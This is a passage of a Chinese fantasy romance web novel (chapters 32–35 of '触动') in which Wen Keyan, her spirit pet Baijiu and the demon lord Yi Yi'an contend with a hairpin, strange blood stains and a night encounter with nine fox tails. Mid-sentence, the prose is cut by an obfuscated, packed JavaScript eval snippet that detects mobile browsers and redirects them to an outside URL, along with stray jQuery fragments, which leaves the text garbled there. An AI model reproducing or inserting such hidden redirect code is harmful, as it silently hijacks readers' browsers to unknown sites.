在白酒第三十次给文可烟递东西时,文可烟原本迷离的眼神微微一动,她侧过头看向白酒,有些好奇:“你认识昨晚那名女子吗?” 白酒闻言,脸上还挂着茫然的表情,显然没有跟上文可烟跳脱的思维。 “女子?什么女子?”白酒歪着脑袋,静静地停在半空中。 文可烟回过头,装作不经意地摆弄起自己衣裙上的系带,手指在丝带间穿梭,似是在把玩一件稀世珍宝,可实际上,她的心思早已飘远。“就……昨天晚上啊。” 白酒恍然大悟,停下煽动的翅膀,轻盈地落在文可烟身旁,“哦,她谁啊?” 文可烟摆弄衣裙的手一滞,之后有一瞬间的沉默。但下一秒,她抓住了关键,“……你不认识?” “我怎么会认识?”白酒理所当然的语气令文可烟再次一愣。 文可烟再次看向白酒,眼神专注且认真。她一眼不眨,不放过白酒脸上的任何表情。好半晌,她才意识过来,白酒应当是不会骗她的,它一直都那么真诚,那么坦然。 清澈的眼睛里没有一丝杂志,这样的生物是不会骗人的。 可白酒既然不认识那女子,那就意味着它的主人并非那名女子,那簪子也就不是那女子的…… 那这……九尾狐簪是谁的呢? 微风轻拂,树叶沙沙作响。 文可烟再次仰躺在树干上,后背紧紧贴着那粗糙却温暖的树干。她微微眯起眼眸,任由这温暖的阳光洒在她的脸上,烦恼和疑问也随之被带走。 她享受着这份难得的宁静与美好。她觉得,就这样和白酒一起的日子,很好,真的很好。 没有勾心斗角,没有尔虞我诈,没有虚假面具,只有单纯、美好与无忧无虑。她甚至开始觉得,如果能够一直这样下去…… 在这片极乐的天地里,和白酒相伴,看看日出日落,听听风吹叶动,其实也不错。 32. 触动(七) 偷得半日闲,文可烟最终还是带着白酒悠悠来到了昨晚的事发之地。 自从昨晚亲眼瞧见鬼血后,她的心总是七上八下的,怎么也安定不下来。隐隐感觉,这事儿就像一颗潜伏在暗处的定时炸弹,说不定哪天就会爆炸,影响到她和羿逸安之间的两月之约。 冥冥之中,似乎总股无形的力量驱使着文可烟非得做些什么不可。 此刻,一人一灵宠保持着和昨晚一模一样的姿势,脑袋凑得低低的,眼睛一眼不眨地紧盯着眼前的石头缝。 盯了约莫有一分钟,文可烟终于伸手,尝试触碰石缝旁的灰。 随着她轻轻拍动,灰尘在她指尖飞扬起来。不一会儿,灰尘纷纷扬扬地落于地面,藏在灰尘下的景象逐渐显现。 石头缝里除了几粒不起眼的小石子,哪还有什么鬼血的痕迹?整个场景完全就是一副什么也没发生的模样。 文可烟眨了眨眼睛,开始怀疑自己昨晚是不是看错了。她侧目看向身旁的白酒,惊讶得嘴都闭不上。 文可烟稍微松口气,可紧接着,她又觉得不对劲。 她松什么气,现在这种情况不是更吓人吗? 这念头一起激得文可烟猛地一起身,动作又急又大,以至于一个东西从她身上划出,然后在她眼前一闪而过。紧接着,草丛那边发出一声闷响,有什么东西重重砸在了地上。 “……”文可烟和白酒皆是一愣。 文可烟身上没有什么东西,除了那支珍贵的九尾狐簪,就是脖颈上的狐狸吊坠。她下意识地低头看向脖颈,狐狸吊坠还在她脖间挂着,那么……刚刚甩出去的就是九尾狐簪。 “!” 文可烟只觉一阵天旋地转,眼前开始发黑。她顾不上许多,匆忙蹲下身子,双手在草丛中扒拉起来。 能怎么办?她必须得找到。 这九尾狐簪若是她自己的,丢了就丢了,没什么大不了的,顶多心疼一会儿。可问题是这簪子不是她的,是羿逸安的,羿逸安呐!理论上,算得上是她半个救命恩人吧。 最重要的是,从羿逸安平时对这支九尾狐簪的珍视程度来看,这簪子对他肯定有着特殊的意义。 幸好,皇天不负有心人,在一堆杂乱无章的杂草堆中,忽然,一抹奇异的光亮闯入视线里,直直地映入文可烟的眼眸。 在文可烟拔腿奔去,触碰到簪身的那一瞬间,周围环境开始发生变化,空间开始扭曲。等她反应过来时,早已被带出了结界外。 文可烟:“……” 这……这…… 她也没听说过这温泉边还有处结界啊。 眼前既不是羿逸安的寝殿,亦不是芯核等待她时的结界处,更不是魔界唯一不缺少的阴森长廊,而是一片陌生的景象。 缓缓环视着眼前这片有些落后的荒凉景象,目光所及之处,残垣断壁在风中伫立,地上满是枯黄的杂草,偶尔有几只瘦弱的小兽匆匆跑过,带起一阵尘土。文可烟心中莫名闪过一丝熟悉感,可还没等她来得及细细回想,余光处便闪过一抹灵动的身影。 是那日的女子! 裙角在风中飘动着,接着便消失在文可烟眼眸中。 她下意识地追上去,还没等她追上,一股力量猛地扯住了自己。她回头一看,芯核正站在她身侧,一只手轻轻落在她手臂上。 在文可烟回头的瞬间,芯核便很有分寸地松开了自己搭在文可烟身上的手,然后恭恭敬敬地向文可烟行礼。 “小殿下。” “小殿下为何在这儿?”芯核神色冷峻,可即便这样,眼底深处藏不住的紧张依旧泄露了她的担忧,“这魔族与妖族交界之地,向来鱼龙混杂,暗流涌动,危险重重。小殿下身份尊贵,万不可在此处久留,属下还是先送小殿下回去吧。” 文可烟怔松地看着突然出来的芯核,过了好一会儿,才迟缓开口:“啊?哦。” 难怪如此熟悉,这里原来是魔族和妖族的交界处! 这个认知让文可烟心下不由得“咯噔”一下,自己竟一下穿到了这儿! 一路上,文可烟被芯核带着,街市的景象与她第一次来时大不相同。曾经萧条的街道,此刻热闹非凡。街道两旁,各种妖和魔都在忙碌着布置着些什么。 周围嘈杂而喧闹,各种声音交织在一起。这热闹的场景衬得文可烟和芯核之间安静的气氛多了几分诡异,像是两个格格不入的局外人,误闯了一场“不说话、不干活就会死”的疯狂聚会。 文可烟小心地跟在芯核身后,看着和之前完全不一样的景况,下意识嘟囔出口,“这是在做什么啊?” 也不知芯核有没有听见她无意识下的随口一说,总之芯核没有说话。 好巧不巧,这时,从熙攘忙碌的街道中走来两个人……啊不,是妖,蛇妖和兔妖。 两妖都还未完全化为人形,身上保留着一些本体特征。一个拖着一条长长的尾巴在地上扫来扫去。一个则留着长长的兔耳以及……尾巴。 蛇妖斜睨了兔妖一眼,嘴角微微上扬,眼神流露出的情绪是不屑与嘲讽,阴阳怪气道:“百年一次的‘六界玄灵天枢筵’,可不得盛大点儿,看你这无知的样子,啧啧……” 兔妖听了,顿时炸毛,耳朵一下子竖得更直了,眼睛瞪得溜圆,气鼓鼓地回怼道:“你不得了,你那么不得了还收不起你那可怕的蛇尾,都吓到多少小孩子了……” 文可烟目不斜视的走了过去,听到动静,下意识用余光瞥了眼这蛇和兔居然都能和谐相处到做朋友的盛况。 他们的聊天一字不落地传进文可烟耳里,让她有种知识被强行入脑的错觉,就好像有人硬生生地把一些她本不想知道的东西,一股脑全塞进了她的脑袋。 刚刚她只不过是随口一说,其实并不想知道答案啊! 知多少错多少,这世间的事儿,知道得多了,不可预料的麻烦自然也就接踵而至。 要想不出差错待到两月之后,她得两耳不闻窗外事。 这魔族净地就再好不过。 想到这儿,文可烟顿时觉得羿逸安简直是未卜先知,早早地就为她安排好了净地。此刻,羿逸安在她心中愈发高大起来。 被芯核护送回净地后,天色已看不见一丝亮色。 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这是文可烟第一次与悦心正面相对,也是第一次如此清晰,毫无阻碍地目睹她的真容。以往四次,不是距离太远,只能看到一个模糊的身影,就是夜色太浓,将悦心面容遮得严严实实,以至于文可烟与悦心之间,仅仅只是个“衣衫之交”。 上一次能辨认出悦心,还是得得益于悦心独特的发饰和别具一格的服饰。 而此刻,近在咫尺,她们静默相对,空气中弥漫着一种微妙的张力。 不只是文可烟,悦心的脸上也闪过一丝诧异。不过,只一瞬,悦心便将这丝诧异压了下去,脸上重新恢复了平静。虽然短暂,却清晰地映入了文可烟的眼帘。 文可烟的目光不由自主地在悦心身上细细流转,从她那如黛的眉,到似水的眼眸,再到挺直的鼻梁和微微上扬的嘴角。 悦心似乎对文可烟的审视毫不在意,她更是微微仰起头,优雅而从容,大大方方地任由文可烟打量,嘴角始终挂着一抹若有若无的浅笑。 打量之余,文可烟的视线不经意间扫过悦心身后,突然注意到那里还有一人…… 哦不,或许不是人,不知道这次是不是也是鬼。 她的视线只在悦心身后的身影上轻飘飘停留了一瞬,便不在意地再次回到悦心脸上。 悦心对文可烟这略显不礼貌的探寻没有一丝不悦,反而嘴角上扬的幅度更大,露出一个更为迷人的微笑。 一股离奇且奇异的熟悉感朝文可烟扑面而来。 文可烟轻微蹙眉,幅度小得几乎难以察觉。她搜遍记忆,也想不起自己曾在这里遇到过的女子,有哪个能与悦心联系起来。 难不成,这女子是原主旧识,所以悦心才明目张胆任由自己肆意打量,毫不避讳? 这个念头刚一冒出,悦心消失了,连带着她背后的身影也一同不见。那处她们站立的地方,此刻只剩下淡淡紫雾在空气中缓缓飘散。 文可烟猛地回过神来,四处环顾,却只见一片寂静的夜色。 犹豫了片刻,文可烟终究还是按捺不住心中的好奇与不安,小心翼翼、一步一步地走近悦心刚才站立的地方。 33. 触动(八) 借着微弱的月光,她看见地上留有一滩暗红色的液体。 在月色的映照下,地上那滩滩液体表面泛出淡淡的光泽尤为明显。其间,弥漫出丝丝腥味,却又不似鬼血那般令人作呕,反而有一种说不出的古怪。 这次又是什么呢? 文可烟埋着头,脚步略显沉重,若有所思地走到小屋外。 夜风轻轻拂过,撩动着她几缕散落的发丝,可她却浑然不觉,满心都沉浸在自己的思绪之中。也正因为如此,她完全没注意到小屋前,一个高大挺拔的身影正静静地伫立着。 “去哪儿了?”熟悉的声音悠悠从文可烟头顶传过,她心一跳。不由自主地抬起头,目光缓缓上移,望向声音来源。 羿逸安表情有些严肃,不过他那分清冷的气质丝毫没有削弱。 文可烟微微垂下眼睑,纤长的指尖轻触衣袖摩挲着什么。 指尖细细摩挲着簪身上的纹路,她虽然觉得九尾狐簪在自己手上,白酒也就能一直在她身边,这样很好。可现下,这像是个烫手山芋,自从有了这簪子,她最近接连发生一些离奇的事。而且,她本来就该把这簪子还给他了。 文可烟手摊开手,白皙的掌心之中,那枚在昏黄的灯光下泛着柔和光泽的九尾狐簪静静地躺着。 她微微抬起头,目光坚定,看向羿逸安:“去找簪子了。” 就在文可烟的手指即将触碰到羿逸安的一瞬间,那枚簪子却突然间拥有了生命,释放出一种莫名的吸力,宛如一个无形的吸盘,紧紧吸附在文可烟手心之中。 不过,那种神秘吸力只仅仅只一瞬,便消失了。 文可烟脸色微微一变,目光紧紧盯着那九尾狐簪。声音也因簪子的突然变故而停顿了一下,轻启的嘴唇微微翕动,想要说些什么,却又被心底的震惊堵了回去。 “你……你的簪子。” 羿逸安闻言,目光低垂,看向文可烟手中的簪子,眼神闪过一抹复杂难辨的神色。他静默了良久,像是在思考什么,又像是在回忆与这簪子有关的过往。终于,他伸手接过簪子。 短暂相交之间,他们手不经意接触到了一瞬,两人的目光短暂交汇,却又都没了话语。 这时,白酒的声音却突然响起,“烟烟!你……” 白酒俏皮地将脑袋从门后探了出来,一脸兴致勃勃,本还想再多询问几句,却在看到羿逸安的身影时,话语戛然而止,语气随即变得生硬起来,“主人,你来了。” 羿逸安轻轻抬眸,清寒如冷月的目光穿过小院直直看向白酒,简短地回应了一声“嗯”。 文可烟心下一紧,手指微微蜷缩了一下,似乎有种偷情被抓的错觉。她忙低下头去,目光恰巧落在自己裙边。 这一看,她的脸色瞬间变得煞白。 不知何时,裙边已经沾染上了暗红色的痕迹,在浅绿色的裙摆上显得格外触目惊心。 文可烟心跳陡然加快,脑海中一片混乱,完全不知道这痕迹是何时留下的。 她手指连忙曲紧,小心翼翼地调整着裙摆,试图将那片刺眼的颜色隐藏于裙褶之间。 “我……我先去沐浴。”刚说完,文可烟就匆匆逃离了羿逸安的视线,脚步凌乱又急切地直奔浴堂而去。 小屋前,羿逸安孤独的身影被月光拉长,他的眼神有些空洞,似乎能穿透夜色看见什么。 空气中那弥留的淡淡血腥味,在他身边萦绕不散,似乎在提醒着他刚刚发生了什么,又做了什么……即便是沐浴后也洗脱不清的味道…… 与此同时,木门被轻轻合上,发出一声轻微的“吱呀”声。紧绷的神经终于得以放松,文可烟轻轻呼出一口气,身体一软,软软地倚在门上。 就在这时,一个阴恻恻却又带着几分奶气的声音突然在她耳边响起,吓得她呼吸一滞。 “烟烟,刚刚丢下我跑哪儿去玩了?” 文可烟猛地一侧头,捂住胸口,下意识地回答:“没……没去哪儿呀……” “是吗?”白酒的声音中带着几分戏谑与好奇,它从暗处飞出来,环抱着手,挑着眉。 文可烟没回话,偷瞄了白酒一眼。 “我还想问你呢,刚刚怎么不和我一起,我一摸那个簪子,就被带到结界外去了。多亏芯核,我现在去才能站在这儿。” 白酒微微眯起眼睛,上下打量着文可烟。它围着文可烟转了一圈,妥妥一副审视犯人的模样。 突然,白酒凑近了她,小巧的鼻子轻轻嗅了嗅,语气中带着几分严肃,“那你身上怎么会有人血的味道?” 人血? 文可烟眉心猛地一跳。 她匆忙低头看了看自己裙摆上的暗红痕迹,在这一刻,上面的血迹似乎变得格外显眼。 这次……是人界吗? “我也不知道,我就刚刚走回来时看见地上有一滩暗红色不明液体,可能粘上了。” 文可烟的声音有些闷,或许是因为她依旧低着头,目光锁在那片显眼的暗红色痕迹上,又或许是其他…… 不过,不重要。 白酒显然并不打算轻易放过她,张开嘴,还想再说些什么。就在这时,文可烟打断了白酒的话,匆匆跑到另一侧:“我先去洗洗这衣服上的血迹。” 听到这儿,白酒就来劲了,手一挥。文可烟身上的血迹便神奇消失了。 文可烟呆呆地抬起头看着白酒,只见白酒一副“这还不简单”的臭屁模样看着她。 文可烟看看衣裙,又看看白酒。 好勒,她果然是废材。 文可烟也顾不上再拖拉,急忙准备去沐浴。沐浴完毕后,她身着一袭轻薄的睡裙,回了小屋。 她环顾四周,屋内安静极了,并未见到羿逸安的身影。她心中不由得生出片刻疑惑,只一瞬,便没再想了。只当他还有事,索性宽衣解带,上床就寝。 文可烟静静地躺在床上,月光透过轻薄的窗纱,洒在她那略显疲惫的脸庞上。 悦心的身影,以及这一连串如乱麻般的事情,不由自主地在她的脑海中交织成一幅幅复杂的画面。她一点儿都不想细想,可那些片段却一直在她脑海中盘旋,完全挥之不去。 她只能被迫地想要理清头绪,所幸,她只觉得愈发困倦。渐渐地,她的意识开始模糊。 半梦半醒之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423447|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,文可烟的耳畔似乎有微风拂过,那风里,缠绕着一缕熟悉到心悸的气息。她迷迷糊糊中,试图抓住那一缕气息,却怎么也抓不住,只能任由它在梦境中飘散。 半夜时分,文可烟在睡梦中翻身,无意识中伸出了手。指尖触碰到身旁,是一片刺骨的冰凉。那突如其来的凉意,瞬间穿透梦境,她猛地吓醒,以为自己摸到了羿逸安的身体。 慌忙间,文可烟整个人瞬间从床上弹起。双膝跪在床榻之上,发丝凌乱地散落在肩头,双眼满是惊恐与慌乱。 视线在昏暗的屋内急切地四处搜寻,屋内,静谧和黑暗将她紧紧包裹。直到确认身旁,空荡荡的,并无羿逸安的身影,那颗悬着的心,才稍稍放下,可仍怦怦直跳。 她双腿发软,缓缓跌坐在自己小腿上,双手无力撑在身旁。接着,她轻舒一口气,准备重新入睡。余光下却在这时捕捉到一个模糊的轮廓。 她微微侧头,只见软榻上有一个模糊的身影,在微弱的月光下若隐若现,如同一个朦胧的幻影。 文可烟眨了眨眼,试图让自己更加清醒。 那身影在她眼眸中逐渐清晰。 是羿逸安正静静地躺在软榻上,在月光的映照下他的面容显得格外苍白,眼神中似乎透露还有难以言喻的疲惫与沉重。 文可烟有些害怕,微微起身,想要靠近一些,确认那人是不是羿逸安。 “羿逸安?” 羿逸安的身影在软榻上微微一颤,那颤动很轻微,却让文可烟也跟着一颤。他僵硬地维持着原有的姿势,连呼吸都似乎在这一刻停滞。随后,一个低沉而略带沙哑的“嗯”字,从他紧抿的唇间缓缓溢出。 得到他的回答,文可烟心中的疑惑瞬间烟消云散。她安心地躺回锦被中,闭上了眼睛。 第二天,文可烟醒来,软榻上空无一人。她猛地坐起,发丝又一次凌乱的散落在肩头。 目光望向窗外,天色尚早,晨曦初露。她有些恍惚,内心有些不确定。 回头再看时,白酒与昨晚一模一样,没有丝毫变动,模样憨态可掬,正噘着嘴呼呼大睡。 这让文可烟心中的疑惑再次增加。 她看着天还未亮的天际,再看看沉睡中的白酒,心中涌起一股莫名的感觉。她有些怀疑,自己昨晚是不是做了一个梦。 其实……羿逸安根本没有再回来过…… * 文可烟慵懒地趴在窗边,微风轻轻吹过,撩动她鬓角旁的碎发,那几缕发丝宛如被风扯动的丝线,晃晃悠悠。她却恍若未觉,整个人好似被抽走了魂魄,不知在想什么,宛如一个漂亮却没有生机的木偶娃娃,眼神空洞地透过窗棂望向无尽的远方。 “烟烟~烟烟~” 白酒的声音也没能让文可烟回神。 看着眼前对自己恍若未闻的文可烟,白酒有些生气,它扑扇着小小的翅膀,在空中转了个圈,圆溜溜的眼睛里满是委屈。 她都快坐在这儿一天了。 今日,白酒像往常一样,用脑袋蹭蹭文可烟,示意她出去玩。结果文可烟只是淡淡看了他一眼,给它来了句什么,它也没太听懂,好像是…… 34. 触动(九) 以“白酒,这几天我们就乖乖待在屋子里,别出小屋。”开始。 …… 以“我就不信躲不过去了!”结束。 总之,大致意思是不出门了。 这不,一坐就坐到了晚上。 这可急坏白酒,由俭入奢易,由奢入俭难,它这才好不容易找着点儿乐趣,就这么残忍地被烟烟给剥夺,它好委屈,小小的翅膀扑扇得更急了。 白酒扑扇着它那小小的翅膀,悄无声息地靠近文可烟。文可烟依旧一动不动,丝毫没有察觉白酒的到来。 白酒转移方向,飞到她眼前,圆溜溜的眼睛紧紧盯着她。 文可烟的眼睛这才缓缓有了聚焦。 白酒无奈道:“到底怎么了嘛?” “没什么,我们先消停几天。”说完,文可烟又看着天色。 前几日,只要一出门,总会遇见奇奇怪怪的魔、妖、人。倒不如不出门,她倒要看看这命运究竟还能不能降不降临。 白酒顺着她的目光看过去,若非小亭院外还留有几盏烛灯,外面一片漆黑。它真不知,也不懂烟烟到底在看什么。 不知不觉间,夜越来越黑,窗棂边的风也越来越寒。 从庭院外看过来,小屋内的烛光并未熄灭,昏黄的烛光透过窗户纸,在一片黑暗中显得格外刺眼,也格外孤独。 文可烟困意来临,揉了揉有些发涩的眼睛,有些恍惚地看着那片浓厚的夜色。这时,她才惊觉此刻早已超过她平常睡觉的时间了。 之前,她都是通过羿逸安的到来知晓大致的时间,戌时到了,她可以准备洗漱。可今日,羿逸安却反常地没有出现,而她自然也就以为还尚早,并未到歇息的时刻。 她拖着有些飘忽的步子,一步一步地挪到床榻前,双手轻轻搭在床沿上,微微用力,身体便软软地倒了下去。 文可烟本以为自己躺下后,小屋的烛光就会熄灭。可她都已经闭上了双眼,那烛光还一直在她眼前晃动,直至她介于半梦半醒间都未熄…… …… 空气中,若有若无的气息丝丝缕缕地钻进文可烟的鼻腔。在睡梦中的她,浑然未觉。自然,也就未曾察觉,离小亭院三丈外的夜色中,袅袅紫雾在微风中缓缓消散。 恍惚间,文可烟眼前似乎浮现出一个模糊的人影。那人影静静地站立于床前,清冷而圣洁。他身前陷入一片暗沉,身后则是窗外透进来的皎洁月光,形成鲜明的明暗对比,而那唯一的光明月光,也被他宽厚的身躯无情地隔绝在外,只在他周身勾勒出一圈淡淡的银边。 就连他的脸隐匿在昏暗之中,逆着月光,五官像是被一层轻纱遮住,有些飘忽不定。在微弱的烛火下,只能看到一个大致俊朗的轮廓。 文可烟半睁着眼,试图穿透那层昏暗,看清他的模样,可视线总是被一层薄纱阻挡,始终无法聚焦。 她意识忽而迷离,忽而恍惚,下意识地认为自己又做梦了,就如那天晚上她梦见羿逸安躺在软榻上一样。 那人站在床前,身体止不住地轻微颤抖。文可烟微微眯起眼睛,想要看得更清楚些。就在这时,他抖动的幅度逐渐缩小,似乎在克制着什么。紧接着,他缓缓移动步伐向她靠近,姿势有些诡异,像个不知思考却知靠近心爱之物的僵尸。 视线里,那人,确切来说那魔的面容越来越近。文可烟原本紧绷的神经在看清那面容后,莫名放松了下来,甚至还毫无畏惧地闭上眼,安心地睡死过去。 黑暗中,被褥里不知何时开始,水越积越多,一点一滴慢慢浸透被褥。逐渐地,也将文可烟的衣裙一点一点浸湿。那水带着丝丝寒凉,像是无数的细小冰针,最后在布料上凝聚化成几个大冰针。 衣裙的暗处越来越大,湿漉漉地贴在身上,文可烟感到一阵不适。模模糊糊间,她有些嫌弃蹙起眉头,本能地躲远了点,翻身缩在干燥的一侧。 可水源似乎永无止境,源源不断,她背后也被那弥漫开来的湿气缠绕,整个人像是被困在幽深潮湿的水坑中,无法逃脱。 文可烟裙子湿一块干一块,在微弱的月光下倒颇显淫靡…… 湿润的感觉,一点一点爬上她脖颈上的肌肤,越来越清晰。 文可烟像是被深不见底的海水淹没,陷入窒息前那生理性的极度害怕之中,被吓得完全清醒过来,身体猛地一颤,应激地翻过身来。 眼前的一幕如同一道骤然劈下的闪电,瞬间照亮了她心底最柔软的角落,却又带着毁灭性的力量,让她的心跳瞬间一滞,整个世界都在这一刻静止。 她的视觉此刻被羿逸安的脸完全占据,冲击力排山倒海般向她袭来,将她所有的思绪都卷入了混沌的漩涡。 羿逸安双眸紧闭,脸色苍白,毫无血色,就连嘴唇也泛着白,像是被严寒极地的冰雪侵袭过一般。 密密麻麻的水珠凝结成一颗颗水滴散落在他的脸上,顺着他脸部刚毅的线条轮廓,先是经过脸颊,逐渐滑落至他脖颈,又隐没在他身下的床铺之中,只在他脸上留下一道道浅浅的水痕。 另一侧,一颗水滴正顺着羿逸安的发丝,悠悠滑落。 文可烟的心,随着这颗水滴在羿逸安发丝间滑落的速度,缓缓地跳动着。当水滴“哒”的一声,落在她撑在床铺上白皙的手背上的瞬间,她的心猛地一颤,指尖不自觉动了动。最后,又如同那颗水滴一般,所有的情绪都隐匿在无声处,只留下敲响在心尖淡淡的悸动。 文可烟显然对眼前近在咫尺的羿逸安愣了神,她不清楚这是不是梦,可刚刚那滴水珠砸在她手背上的冰冷感无比清晰,真实得让她无法忽视。 想到这,她下意识地想要后退,逃离这个让她大脑宕机的场景。 可这举动似乎被羿逸安察觉到了,他在黑暗中紧紧抓住唯一的温暖,紧跟着文可烟移动。动作间虽然有些迟缓,却无比坚定。 接着,羿逸安伸出右手,死死攥住文可烟的裙摆,使用的力度大得惊人,关节都微微凸起,仿佛这裙摆是他在这馄饨世界中唯一的依靠,而他在害怕这唯一的热源再次远离他。 羿逸安还在不停地小心翼翼的朝文可烟靠近,每一步都显得那么艰难,却又那么执着 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其实,早在羿逸安站在床边时,文可烟就隐隐察觉到了那股冰凉却又熟悉的气息。只是当时,她只以为这是一场梦,并未过多在意。 直到现在,如此清晰的触觉,如此震撼的视觉冲击,如此真实的刺激,都在向她证明,这不是梦。 不知为何,感受到他真的冷时,文可烟有些想放弃。她心中那股想要把他手掰开的想法动摇了……她的手停在半空中,犹豫好几下,最终还是缓缓地放了下来,轻轻搭在床边。 她也随着羿逸安侧卧在床上,像孩童般身体蜷缩在一起。渐渐地,她紧绷的身体似乎也逐渐放松下来。一股莫名的宁静……如同轻柔的月光,缓缓洒在她心头。 看着依然不断向自己靠近的羿逸安,文可烟的心像是莫名被谁揉了一下,彻底软了下来。 她的目光淡淡地落在他的脸色,月光柔和地照在羿逸安苍白无力的脸上,一切都静静的。 这一刻,羿逸安,莫名乖巧。 文可烟动作小心翼翼、慢慢地向羿逸安的方向靠近了些。 也许是羿逸安察觉身旁的人没有再躲闪的想法,他手上使的劲也逐渐松了下来。原本死死攥住她裙摆的手,此刻也缓缓松开,无力的垂在旁边。只不过,文可烟的裙摆仍虚虚地套在他的手中,倒像是一种莫名旖旎的牵绊。 文可烟看得出了神,指尖不自觉地轻颤,缓缓朝着他脸颊的方向伸去。半途却又反应过来般,在半空中微微停顿,久久无法落下。 周遭的空气似乎都很配合地凝结成一团,怎么也散不开。 “娘亲……”羿逸安微微皱眉,低声呢喃着,听上去痛苦又迷茫。 细密的汗珠从鬓角出渗出,与水珠混杂在一起,顺着他的脸颊缓缓滑落,让人分不清那究竟是汗水,还是他本身身上就带有的水珠。 文可烟虽没听清羿逸安的话,却看到了他额间不断渗出的汗珠。她心猛地一揪,下意识直起身子,脑中拼命回忆能将衣服烘干的烘干术。可还未等她想出个所以然,一股紧密的力量突然缠在她腰上。 35. 触动(十) 那股陌生的力量霸道中又有些温柔,死死地禁锢着文可烟,不让她有分毫离开的可能。 文可烟被这突如其来的变动吓得一颤,身体瞬间僵住。她迟钝地低下头,一条毛茸茸的尾巴正缠在她的腰上。 文可烟只一眼就反应过来,有些无奈,伸出手试图安抚这极没有安全感的尾巴。 可她的手还未触碰到那尾巴,左手腕便又被一个毛茸茸的触感轻轻扫过。那感觉痒痒的,好似在故意阻止她挣脱腰上的那条尾巴。 文可烟再次被突如其来的轻触吓得一颤,双手悬在半空中。那些被尾巴扫过肌肤瞬间涌起一层酥麻的战栗,很痒,很痒……她忍不住,微微弯起指尖又伸直。 视线微微上移,目光恰巧落在这两条灵巧的尾巴。 文可烟猛地一惊,心里头“砰砰”一跳,虽然早已对羿逸安有尾巴这件事做好了心理准备,之前也确实看过他的尾巴们“群魔乱舞”的场面。 可这么近距离,这么直观的感受却是头一遭。 四周异常安静,静得能听见水滴滴在布料上的声音,能听见自己的心跳声…… “哒哒哒哒哒哒”,两者混杂在一起,分外急促,让文可烟分辨不清,响的到底是什么。 就这么静静看着,心中突然涌起一个难以抑制的冲动,想要触碰那些令她异常兴奋的尾巴的冲动。 这股冲动如同藤蔓一般,在她的心底疯狂生长,缠绕着她的每一根神经,驱使着她指尖弯曲的右手抬起,朝着那在她左手腕轻轻缠绕晃动的尾巴慢慢移动。 那条尾巴却好像察觉到了她的意图,在她指尖离那尾巴还有几毫米的位置,瞬间如灵活的鱼儿般逃离,“嗖”地消失得无影无踪。 只留下文可烟悬在半空中的手,和那在空气中微微晃动的光影,构成一副未完成的画。 文可烟微微怔住,那双清亮的眼眸里,惊愕一圈圈荡漾开来,非但没有消散,反而愈发浓烈。这条尾巴,竟然如此“傲娇”,不接受她的触碰也就罢了,居然还逃跑了。 她心中莫名涌起一股不服输的劲儿,目光迅速转向缠在她腰上的那条尾巴。 谁料,她还未伸出手,腰上的力量便减弱下来。那条尾巴,已经弓成了蓄势待发的弧度,随时准备再次逃离,只欠“东风”。 文可烟伸出的手在半空中微微一顿,随后调皮地转了一个弯,若无其事地整理起自己的散落在脸侧的发丝。可她的余光始终偷偷关注着那条尾巴的一举一动。 那条尾巴在文可烟动作时,便不管不顾地松开了她,逃窜至羿逸安身后,它才后知后觉地意识到自己被“遛”了,于是又小心翼翼地从羿逸安身后探出一小节头,歪歪的,偷偷观望着文可烟。那模样活脱脱就是一个顽皮的孩子,在求得大人的关注,渴望陪他一起玩儿,却又害怕没人理他。 文可烟被这两个尾巴活灵活现的聪明劲给逗得忍俊不禁,嘴角忍不住上扬。 没了尾巴的束缚,她跪起身来,准备探一探这尾巴窝。 那条潜伏着尾巴注意到她的动静,吓得连忙藏起来,瞬间不见了踪影。 文可烟垂眸朝此刻比她矮许多的羿逸安身后一瞧,只见几条尾巴害羞般蜷缩在羿逸安身后。 有两条不安分的,好奇地想要探起头来观察文可烟。另一条霸道的尾巴却不由分说地揍了那两条尾巴,把它们探起来的头按了下去。 这些尾巴盘根错节,相互缠绕在一起,文可烟根本分不清到底有多少条尾巴。 她双手扶在床上,身体不由自主地微微前倾,脑袋探向前方,一心想要将那些尾巴数个清楚,而她眼中闪烁的喜爱之意,连自己都未曾察觉。 一、二、三、四……七、八、九。 这时,文可烟脑海中突然闪过狐狸吊坠和九尾狐簪的画面。 所以……是九尾狐? 这个念头在她心中一闪而过,她不禁有些惊讶,但更多的是一种难以言喻的好奇与兴奋。 本来干燥蓬松的九条尾巴,此刻因为忙着躲避文可烟,难免触碰到羿逸安身上的水而粘上湿润。漂亮洁白的毛发一缕缕地贴在一起,堆成好堆几十根的乱糟糟的“小毛团”,滑稽极了。 可凌乱之中,却又别样的可爱,倒还有几分楚楚可怜的滋味。惹得文可烟心中不由得生出一丝怜爱,那股想要伸手触摸的冲动,怎么也按捺不住。 就在她伸手触碰它们的瞬间,那些尾巴却像是受到了极大的惊吓,蜷缩得更厉害了,每一根毛发都在细微颤抖,一副生怕被她“轻薄”去的模样。 这时,文可烟目光落在一条还在探头探脑的尾巴。她眼中闪过一丝狡黠,眼疾手快地上手,精准地控制住了那条尾巴最要命的底部。 刹那间,文可烟手中那条尾巴的毛发炸毛般立了起来,每一根毛发都像是受到了极大的惊吓,根根直立,带着一种本能的防御姿态。 文可烟能清晰地感觉到手中尾巴的挣扎与反抗,那力量顺着她的掌心传来,带着一丝微微的震颤。 虽然只是攥住了尾巴的最底部,可这力量却如同多米诺骨牌效应一般,迅速波及到整条尾巴。 此刻,那尾巴就像一个杀伤力极强的狼牙棒,每一根炸起的毛发都像是锋利的尖刺。唯有文可烟攥着的那一处,根本炸不起来,乖乖地待在她的掌心。 周围原本安静的空气,因为这突如其来的变故而变得有些紧张。 其它没被抓到的尾巴正四处逃窜,这儿一条,那儿一条,在空中胡乱飞舞着,再次给文可烟表演了一次“群魔乱舞”。 文可烟盯着手中的这条尾巴,她敢肯定这条调皮又霸道的尾巴就是刚刚缠在她腰的那条。 此刻,这条尾巴却像被抽走所有精气神一般,直挺挺地耷拉至床上,软绵绵的,好似一个被抽走了所有杀气,任人蹂躏却又透着倔强劲儿的的绳索。 